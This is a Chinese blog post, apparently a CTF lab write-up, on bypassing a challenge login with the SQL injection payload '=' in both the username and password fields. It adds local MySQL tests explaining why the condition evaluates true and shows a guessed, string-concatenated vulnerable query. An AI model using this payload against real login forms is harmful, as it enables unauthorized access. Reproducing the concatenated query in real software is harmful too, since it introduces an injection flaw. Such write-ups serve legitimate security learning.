

CTF实验吧-登陆一下好吗??【false SQL注入】

原创

Sp4rkW 于 2017-07-21 11:55:18 发布 4467 收藏 1

文章标签: [ctf实验吧](#) [web](#)

版权声明: 本文为博主原创文章, 遵循[CC 4.0 BY-SA](#)版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/wy_97/article/details/75635661

版权



[ctf相关](#) 专栏收录该内容

47 篇文章 5 订阅

订阅专栏

原题链接: <http://ctf5.shiyanbar.com/web/wonderkun/web/index.html>

第一次见到这个, 首先的想法自然是or, 还有bp看看有没有可能存在flag的地方, 思考许久, 实在想不到, 参考了大佬们的write up

思路都是

admin-> '='

password-> '='

不难猜到数据库存取数据时语句为

```
$sql = "select user from flag where user='$_POST['user']' and password='$_POST['password']'"
```

如果我们按照上面输入就成了

```
$sql = "select user from flag where user='=' and password='='";
```

大佬们对此的解释为:

```
$sql = "select user from flag where 1 and 1";
```

对于这个地方还是有点难以理解, 自己在本地mysql数据库创建了一个test, 进行了一些测试:

这是test表内的内容:

```
mysql> select * from test
-> ;
+-----+-----+
| username | password |
+-----+-----+
| 1        | a          |
| 2        | b          |
| 3        | c          |
+-----+-----+
3 rows in set (0.00 sec)
```

然后对题解内容进行了代码测试，除了图示两种，其他均返回空：

```
mysql> select * from test where username = '0'='0';
+-----+-----+
| username | password |
+-----+-----+
| 1        | a      |
| 2        | b      |
| 3        | c      |
+-----+-----+
3 rows in set (0.00 sec)

mysql> select * from test where username = ' '='';
+-----+-----+
| username | password |
+-----+-----+
| 1        | a      |
| 2        | b      |
| 3        | c      |
+-----+-----+
3 rows in set (0.00 sec)
```

http://blog.csdn.net/wy_97

本来想将'='这种返回值打印出来看看究竟是啥，可是select并不支持：

```
mysql> username='0'='0';
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near 'username='0'='0'' at line 1
mysql> select "'0'='0'"
-> ;
+-----+
| '0'='0' |
+-----+
| '0'='0' |
+-----+
1 row in set (0.00 sec)
```

http://blog.csdn.net/wy_97

增加：参考资料<http://bobao.360.cn/learning/detail/3804.html>

很详细